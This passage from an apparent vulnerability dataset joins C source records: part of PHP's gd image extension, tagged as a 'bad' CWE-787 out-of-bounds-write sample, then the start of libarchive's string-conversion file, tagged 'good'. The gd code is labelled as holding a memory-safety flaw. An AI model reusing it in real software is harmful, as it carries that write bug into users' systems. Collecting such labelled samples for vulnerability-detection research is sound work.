} dest_width = (int) (org_width * x_ratio); dest_height = (int) (org_height * y_ratio); } im_tmp = gdImageCreate (dest_width, dest_height); if (im_tmp == NULL ) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate temporary buffer"); RETURN_FALSE; } gdImageCopyResized (im_tmp, im_org, 0, 0, 0, 0, dest_width, dest_height, org_width, org_height); gdImageDestroy(im_org); fclose(org); im_dest = gdImageCreate(dest_width, dest_height); if (im_dest == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate destination buffer"); RETURN_FALSE; } white = gdImageColorAllocate(im_dest, 255, 255, 255); if (white == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); RETURN_FALSE; } black = gdImageColorAllocate(im_dest, 0, 0, 0); if (black == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); RETURN_FALSE; } int_threshold = int_threshold * 32; for (y = 0; y < dest_height; y++) { for (x = 0; x < dest_width; x++) { color_org = gdImageGetPixel (im_tmp, x, y); median = (im_tmp->red[color_org] + im_tmp->green[color_org] + im_tmp->blue[color_org]) / 3; if (median < int_threshold) { color = black; } else { color = white; } gdImageSetPixel (im_dest, x, y, color); } } gdImageDestroy (im_tmp ); gdImageWBMP(im_dest, black , dest); fflush(dest); fclose(dest); gdImageDestroy(im_dest); RETURN_TRUE; } /* }}} */ /* Section Filters */ #define PHP_GD_SINGLE_RES \ zval *SIM; \ gdImagePtr im_src; \ if (zend_parse_parameters(1 TSRMLS_CC, "r", &SIM) == FAILURE) { \ RETURN_FALSE; \ } \ ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); \ if (im_src == NULL) { \ RETURN_FALSE; \ } static void php_image_filter_negate(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageNegate(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_grayscale(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageGrayScale(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_brightness(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long brightness, tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zll", &SIM, &tmp, &brightness) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageBrightness(im_src, (int)brightness) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_contrast(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long contrast, tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &SIM, &tmp, &contrast) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageContrast(im_src, (int)contrast) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_colorize(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long r,g,b,tmp; long a = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll|l", &SIM, &tmp, &r, &g, &b, &a) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageColor(im_src, (int) r, (int) g, (int) b, (int) a) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_edgedetect(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageEdgeDetectQuick(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_emboss(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageEmboss(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageGaussianBlur(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_selective_blur(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageSelectiveBlur(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_mean_removal(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageMeanRemoval(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_smooth(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; long tmp; gdImagePtr im_src; double weight; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rld", &SIM, &tmp, &weight) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageSmooth(im_src, (float)weight)==1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_pixelate(INTERNAL_FUNCTION_PARAMETERS) { zval *IM; gdImagePtr im; long tmp, blocksize; zend_bool mode = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll|b", &IM, &tmp, &blocksize, &mode) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (im == NULL) { RETURN_FALSE; } if (gdImagePixelate(im, (int) blocksize, (const unsigned int) mode)) { RETURN_TRUE; } RETURN_FALSE; } /* {{{ proto bool imagefilter(resource src_im, int filtertype, [args] ) Applies Filter an image using a custom angle */ PHP_FUNCTION(imagefilter) { zval *tmp; typedef void (*image_filter)(INTERNAL_FUNCTION_PARAMETERS); long filtertype; image_filter filters[] = { php_image_filter_negate , php_image_filter_grayscale, php_image_filter_brightness, php_image_filter_contrast, php_image_filter_colorize, php_image_filter_edgedetect, php_image_filter_emboss, php_image_filter_gaussian_blur, php_image_filter_selective_blur, php_image_filter_mean_removal, php_image_filter_smooth, php_image_filter_pixelate }; if (ZEND_NUM_ARGS() < 2 || ZEND_NUM_ARGS() > IMAGE_FILTER_MAX_ARGS) { WRONG_PARAM_COUNT; } else if (zend_parse_parameters(2 TSRMLS_CC, "rl", &tmp, &filtertype) == FAILURE) { return; } if (filtertype >= 0 && filtertype <= IMAGE_FILTER_MAX) { filters[filtertype](INTERNAL_FUNCTION_PARAM_PASSTHRU); } } /* }}} */ /* {{{ proto resource imageconvolution(resource src_im, array matrix3x3, double div, double offset) Apply a 3x3 convolution matrix, using coefficient div and offset */ PHP_FUNCTION(imageconvolution) { zval *SIM, *hash_matrix; zval **var = NULL, **var2 = NULL; gdImagePtr im_src = NULL; double div, offset; int nelem, i, j, res; float matrix[3][3] = {{0,0,0}, {0,0,0}, {0,0,0}}; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "radd", &SIM, &hash_matrix, &div, &offset) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); nelem = zend_hash_num_elements(Z_ARRVAL_P(hash_matrix)); if (nelem != 3) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array"); RETURN_FALSE; } for (i=0; i<3; i++) { if (zend_hash_index_find(Z_ARRVAL_P(hash_matrix), (i), (void **) &var) == SUCCESS && Z_TYPE_PP(var) == IS_ARRAY) { if (Z_TYPE_PP(var) != IS_ARRAY || zend_hash_num_elements(Z_ARRVAL_PP(var)) != 3 ) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array"); RETURN_FALSE; } for (j=0; j<3; j++) { if (zend_hash_index_find(Z_ARRVAL_PP(var), (j), (void **) &var2) == SUCCESS) { if (Z_TYPE_PP(var2) != IS_DOUBLE) { zval dval; dval = **var2; zval_copy_ctor(&dval); convert_to_double(&dval); matrix[i][j] = (float)Z_DVAL(dval); } else { matrix[i][j] = (float)Z_DVAL_PP(var2); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have a 3x3 matrix"); RETURN_FALSE; } } } } res = gdImageConvolution(im_src, matrix, (float)div, (float)offset); if (res) { RETURN_TRUE; } else { RETURN_FALSE; } } /* }}} */ /* End section: Filters */ /* {{{ proto void imageflip(resource im, int mode) Flip an image (in place) horizontally, vertically or both directions. */ PHP_FUNCTION(imageflip) { zval *IM; long mode; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &mode) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); switch (mode) { case GD_FLIP_VERTICAL: gdImageFlipVertical(im); break; case GD_FLIP_HORINZONTAL: gdImageFlipHorizontal(im); break; case GD_FLIP_BOTH: gdImageFlipBoth(im); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown flip mode"); RETURN_FALSE; } RETURN_TRUE; } /* }}} */ #ifdef HAVE_GD_BUNDLED /* {{{ proto bool imageantialias(resource im, bool on) Should antialiased functions used or not*/ PHP_FUNCTION(imageantialias) { zval *IM; zend_bool alias; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &alias) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAntialias(im, alias); RETURN_TRUE; } /* }}} */ #endif /* {{{ proto void imagecrop(resource im, array rect) Crop an image using the given coordinates and size, x, y, width and height. */ PHP_FUNCTION(imagecrop) { zval *IM; gdImagePtr im; gdImagePtr im_crop; gdRect rect; zval *z_rect; zval **tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra", &IM, &z_rect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.x = Z_LVAL(lval); } else { rect.x = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "y", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.y = Z_LVAL(lval); } else { rect.y = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "width", sizeof("width"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.width = Z_LVAL(lval); } else { rect.width = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing width"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "height", sizeof("height"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.height = Z_LVAL(lval); } else { rect.height = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing height"); RETURN_FALSE; } im_crop = gdImageCrop(im, &rect); if (im_crop == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_crop, le_gd); } } /* }}} */ /* {{{ proto void imagecropauto(resource im [, int mode [, threshold [, color]]]) Crop an image automatically using one of the available modes. */ PHP_FUNCTION(imagecropauto) { zval *IM; long mode = -1; long color = -1; double threshold = 0.5f; gdImagePtr im; gdImagePtr im_crop; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r|ldl", &IM, &mode, &threshold, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); switch (mode) { case -1: mode = GD_CROP_DEFAULT; case GD_CROP_DEFAULT: case GD_CROP_TRANSPARENT: case GD_CROP_BLACK: case GD_CROP_WHITE: case GD_CROP_SIDES: im_crop = gdImageCropAuto(im, mode); break; case GD_CROP_THRESHOLD: if (color < 0 || (!gdImageTrueColor(im) && color >= gdImageColorsTotal(im))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color argument missing with threshold mode"); RETURN_FALSE; } im_crop = gdImageCropThreshold(im, color, (float) threshold); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown crop mode"); RETURN_FALSE; } if (im_crop == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_crop, le_gd); } } /* }}} */ /* {{{ proto resource imagescale(resource im, new_width[, new_height[, method]]) Scale an image using the given new width and height. */ PHP_FUNCTION(imagescale) { zval *IM; gdImagePtr im; gdImagePtr im_scaled = NULL; int new_width, new_height; long tmp_w, tmp_h=-1, tmp_m = GD_BILINEAR_FIXED; gdInterpolationMethod method; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl|ll", &IM, &tmp_w, &tmp_h, &tmp_m) == FAILURE) { return; } method = tmp_m; ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (tmp_h < 0) { /* preserve ratio */ long src_x, src_y; src_x = gdImageSX(im); src_y = gdImageSY(im); if (src_x) { tmp_h = tmp_w * src_y / src_x; } } if (tmp_h <= 0 || tmp_w <= 0) { RETURN_FALSE; } new_width = tmp_w; new_height = tmp_h; if (gdImageSetInterpolationMethod(im, method)) { im_scaled = gdImageScale(im, new_width, new_height); } if (im_scaled == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_scaled, le_gd); } } /* }}} */ /* {{{ proto resource imageaffine(resource src, array affine[, array clip]) Return an image containing the affine tramsformed src image, using an optional clipping area */ PHP_FUNCTION(imageaffine) { zval *IM; gdImagePtr src; gdImagePtr dst; gdRect rect; gdRectPtr pRect = NULL; zval *z_rect = NULL; zval *z_affine; zval **tmp; double affine[6]; int i, nelems; zval **zval_affine_elem = NULL; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra|a", &IM, &z_affine, &z_rect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(src, gdImagePtr, &IM, -1, "Image", le_gd); if ((nelems = zend_hash_num_elements(Z_ARRVAL_P(z_affine))) != 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Affine array must have six elements"); RETURN_FALSE; } for (i = 0; i < nelems; i++) { if (zend_hash_index_find(Z_ARRVAL_P(z_affine), i, (void **) &zval_affine_elem) == SUCCESS) { switch (Z_TYPE_PP(zval_affine_elem)) { case IS_LONG: affine[i] = Z_LVAL_PP(zval_affine_elem); break; case IS_DOUBLE: affine[i] = Z_DVAL_PP(zval_affine_elem); break; case IS_STRING: { zval dval; dval = **zval_affine_elem; zval_copy_ctor(&dval); convert_to_double(&dval); affine[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } } if (z_rect != NULL) { if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.x = Z_LVAL(lval); } else { rect.x = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "y", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.y = Z_LVAL(lval); } else { rect.y = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "width", sizeof("width"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.width = Z_LVAL(lval); } else { rect.width = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing width"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "height", sizeof("height"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.height = Z_LVAL(lval); } else { rect.height = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing height"); RETURN_FALSE; } pRect = &rect; } else { rect.x = -1; rect.y = -1; rect.width = gdImageSX(src); rect.height = gdImageSY(src); pRect = NULL; } if (gdTransformAffineGetImage(&dst, src, pRect, affine) != GD_TRUE) { RETURN_FALSE; } if (dst == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, dst, le_gd); } } /* }}} */ /* {{{ proto array imageaffinematrixget(type[, options]) Return an image containing the affine tramsformed src image, using an optional clipping area */ PHP_FUNCTION(imageaffinematrixget) { double affine[6]; long type; zval *options = NULL; zval **tmp; int res = GD_FALSE, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|z", &type, &options) == FAILURE) { return; } switch((gdAffineStandardMatrix)type) { case GD_AFFINE_TRANSLATE: case GD_AFFINE_SCALE: { double x, y; if (!options || Z_TYPE_P(options) != IS_ARRAY) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Array expected as options"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(options), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_DOUBLE) { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); x = Z_DVAL(dval); } else { x = Z_DVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(options), "y", sizeof("y"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_DOUBLE) { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); y = Z_DVAL(dval); } else { y = Z_DVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (type == GD_AFFINE_TRANSLATE) { res = gdAffineTranslate(affine, x, y); } else { res = gdAffineScale(affine, x, y); } break; } case GD_AFFINE_ROTATE: case GD_AFFINE_SHEAR_HORIZONTAL: case GD_AFFINE_SHEAR_VERTICAL: { double angle; if (!options) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number is expected as option"); RETURN_FALSE; } if(Z_TYPE_P(options) != IS_DOUBLE) { zval dval; dval = *options; zval_copy_ctor(&dval); convert_to_double(&dval); angle = Z_DVAL(dval); } else { angle = Z_DVAL_P(options); } if (type == GD_AFFINE_SHEAR_HORIZONTAL) { res = gdAffineShearHorizontal(affine, angle); } else if (type == GD_AFFINE_SHEAR_VERTICAL) { res = gdAffineShearVertical(affine, angle); } else { res = gdAffineRotate(affine, angle); } break; } default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %li", type); RETURN_FALSE; } if (res == GD_FALSE) { RETURN_FALSE; } else { array_init(return_value); for (i = 0; i < 6; i++) { add_index_double(return_value, i, affine[i]); } } } /* {{{ proto array imageaffineconcat(array m1, array m2) Concat two matrices (as in doing many ops in one go) */ PHP_FUNCTION(imageaffinematrixconcat) { double m1[6]; double m2[6]; double mr[6]; zval **tmp; zval *z_m1; zval *z_m2; int i, nelems; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "aa", &z_m1, &z_m2) == FAILURE) { return; } if (((nelems = zend_hash_num_elements(Z_ARRVAL_P(z_m1))) != 6) || (nelems = zend_hash_num_elements(Z_ARRVAL_P(z_m2))) != 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Affine arrays must have six elements"); RETURN_FALSE; } for (i = 0; i < 6; i++) { if (zend_hash_index_find(Z_ARRVAL_P(z_m1), i, (void **) &tmp) == SUCCESS) { switch (Z_TYPE_PP(tmp)) { case IS_LONG: m1[i] = Z_LVAL_PP(tmp); break; case IS_DOUBLE: m1[i] = Z_DVAL_PP(tmp); break; case IS_STRING: { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); m1[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } if (zend_hash_index_find(Z_ARRVAL_P(z_m2), i, (void **) &tmp) == SUCCESS) { switch (Z_TYPE_PP(tmp)) { case IS_LONG: m2[i] = Z_LVAL_PP(tmp); break; case IS_DOUBLE: m2[i] = Z_DVAL_PP(tmp); break; case IS_STRING: { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); m2[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } } if (gdAffineConcat (mr, m1, m2) != GD_TRUE) { RETURN_FALSE; } array_init(return_value); for (i = 0; i < 6; i++) { add_index_double(return_value, i, mr[i]); } } /* {{{ proto resource imagesetinterpolation(resource im, [, method]]) Set the default interpolation method, passing -1 or 0 sets it to the libgd default (bilinear). */ PHP_FUNCTION(imagesetinterpolation) { zval *IM; gdImagePtr im; long method = GD_BILINEAR_FIXED; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r|l", &IM, &method) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (method == -1) { method = GD_BILINEAR_FIXED; } RETURN_BOOL(gdImageSetInterpolationMethod(im, (gdInterpolationMethod) method)); } /* }}} */ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: sw=4 ts=4 fdm=marker * vim<600: sw=4 ts=4 */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5257_0
crossvul-cpp_data_good_4265_0
/*- * Copyright (c) 2003-2011 Tim Kientzle * Copyright (c) 2011-2012 Michihiro NAKAJIMA * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "archive_platform.h" __FBSDID("$FreeBSD: head/lib/libarchive/archive_string.c 201095 2009-12-28 02:33:22Z kientzle $"); /* * Basic resizable string support, to simplify manipulating arbitrary-sized * strings while minimizing heap activity. * * In particular, the buffer used by a string object is only grown, it * never shrinks, so you can clear and reuse the same string object * without incurring additional memory allocations. */ #ifdef HAVE_ERRNO_H #include <errno.h> #endif #ifdef HAVE_ICONV_H #include <iconv.h> #endif #ifdef HAVE_LANGINFO_H #include <langinfo.h> #endif #ifdef HAVE_LOCALCHARSET_H #include <localcharset.h> #endif #ifdef HAVE_STDLIB_H #include <stdlib.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_WCHAR_H #include <wchar.h> #endif #if defined(_WIN32) && !defined(__CYGWIN__) #include <windows.h> #include <locale.h> #endif #include "archive_endian.h" #include "archive_private.h" #include "archive_string.h" #include "archive_string_composition.h" #if !defined(HAVE_WMEMCPY) && !defined(wmemcpy) #define wmemcpy(a,b,i) (wchar_t *)memcpy((a), (b), (i) * sizeof(wchar_t)) #endif #if !defined(HAVE_WMEMMOVE) && !defined(wmemmove) #define wmemmove(a,b,i) (wchar_t *)memmove((a), (b), (i) * sizeof(wchar_t)) #endif #undef max #define max(a, b) ((a)>(b)?(a):(b)) struct archive_string_conv { struct archive_string_conv *next; char *from_charset; char *to_charset; unsigned from_cp; unsigned to_cp; /* Set 1 if from_charset and to_charset are the same. */ int same; int flag; #define SCONV_TO_CHARSET 1 /* MBS is being converted to specified * charset. */ #define SCONV_FROM_CHARSET (1<<1) /* MBS is being converted from * specified charset. */ #define SCONV_BEST_EFFORT (1<<2) /* Copy at least ASCII code. */ #define SCONV_WIN_CP (1<<3) /* Use Windows API for converting * MBS. */ #define SCONV_UTF8_LIBARCHIVE_2 (1<<4) /* Incorrect UTF-8 made by libarchive * 2.x in the wrong assumption. */ #define SCONV_NORMALIZATION_C (1<<6) /* Need normalization to be Form C. * Before UTF-8 characters are actually * processed. */ #define SCONV_NORMALIZATION_D (1<<7) /* Need normalization to be Form D. * Before UTF-8 characters are actually * processed. * Currently this only for MAC OS X. */ #define SCONV_TO_UTF8 (1<<8) /* "to charset" side is UTF-8. */ #define SCONV_FROM_UTF8 (1<<9) /* "from charset" side is UTF-8. */ #define SCONV_TO_UTF16BE (1<<10) /* "to charset" side is UTF-16BE. */ #define SCONV_FROM_UTF16BE (1<<11) /* "from charset" side is UTF-16BE. */ #define SCONV_TO_UTF16LE (1<<12) /* "to charset" side is UTF-16LE. */ #define SCONV_FROM_UTF16LE (1<<13) /* "from charset" side is UTF-16LE. */ #define SCONV_TO_UTF16 (SCONV_TO_UTF16BE | SCONV_TO_UTF16LE) #define SCONV_FROM_UTF16 (SCONV_FROM_UTF16BE | SCONV_FROM_UTF16LE) #if HAVE_ICONV iconv_t cd; iconv_t cd_w;/* Use at archive_mstring on * Windows. */ #endif /* A temporary buffer for normalization. */ struct archive_string utftmp; int (*converter[2])(struct archive_string *, const void *, size_t, struct archive_string_conv *); int nconverter; }; #define CP_C_LOCALE 0 /* "C" locale only for this file. */ #define CP_UTF16LE 1200 #define CP_UTF16BE 1201 #define IS_HIGH_SURROGATE_LA(uc) ((uc) >= 0xD800 && (uc) <= 0xDBFF) #define IS_LOW_SURROGATE_LA(uc) ((uc) >= 0xDC00 && (uc) <= 0xDFFF) #define IS_SURROGATE_PAIR_LA(uc) ((uc) >= 0xD800 && (uc) <= 0xDFFF) #define UNICODE_MAX 0x10FFFF #define UNICODE_R_CHAR 0xFFFD /* Replacement character. */ /* Set U+FFFD(Replacement character) in UTF-8. */ static const char utf8_replacement_char[] = {0xef, 0xbf, 0xbd}; static struct archive_string_conv *find_sconv_object(struct archive *, const char *, const char *); static void add_sconv_object(struct archive *, struct archive_string_conv *); static struct archive_string_conv *create_sconv_object(const char *, const char *, unsigned, int); static void free_sconv_object(struct archive_string_conv *); static struct archive_string_conv *get_sconv_object(struct archive *, const char *, const char *, int); static unsigned make_codepage_from_charset(const char *); static unsigned get_current_codepage(void); static unsigned get_current_oemcp(void); static size_t mbsnbytes(const void *, size_t); static size_t utf16nbytes(const void *, size_t); #if defined(_WIN32) && !defined(__CYGWIN__) static int archive_wstring_append_from_mbs_in_codepage( struct archive_wstring *, const char *, size_t, struct archive_string_conv *); static int archive_string_append_from_wcs_in_codepage(struct archive_string *, const wchar_t *, size_t, struct archive_string_conv *); static int is_big_endian(void); static int strncat_in_codepage(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int win_strncat_from_utf16be(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int win_strncat_from_utf16le(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int win_strncat_to_utf16be(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int win_strncat_to_utf16le(struct archive_string *, const void *, size_t, struct archive_string_conv *); #endif static int best_effort_strncat_from_utf16be(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int best_effort_strncat_from_utf16le(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int best_effort_strncat_to_utf16be(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int best_effort_strncat_to_utf16le(struct archive_string *, const void *, size_t, struct archive_string_conv *); #if defined(HAVE_ICONV) static int iconv_strncat_in_locale(struct archive_string *, const void *, size_t, struct archive_string_conv *); #endif static int best_effort_strncat_in_locale(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int _utf8_to_unicode(uint32_t *, const char *, size_t); static int utf8_to_unicode(uint32_t *, const char *, size_t); static inline uint32_t combine_surrogate_pair(uint32_t, uint32_t); static int cesu8_to_unicode(uint32_t *, const char *, size_t); static size_t unicode_to_utf8(char *, size_t, uint32_t); static int utf16_to_unicode(uint32_t *, const char *, size_t, int); 